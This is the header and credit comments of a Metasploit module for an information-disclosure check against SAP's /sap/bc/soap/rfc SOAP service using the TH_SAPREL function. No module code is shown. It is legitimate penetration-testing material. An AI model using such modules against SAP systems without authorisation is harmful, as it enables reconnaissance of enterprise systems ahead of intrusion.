SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure

# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
##  
# This module is based on, inspired by, or is a port of a plugin available in  
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -  
# http://www.onapsis.com/research-free-solutions.php.  
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts  
# in producing the Metasploit modules and was happy to share his knowledge and  
# experience - a very cool guy. I'd also like to thank Chris John Riley,  
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and  
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
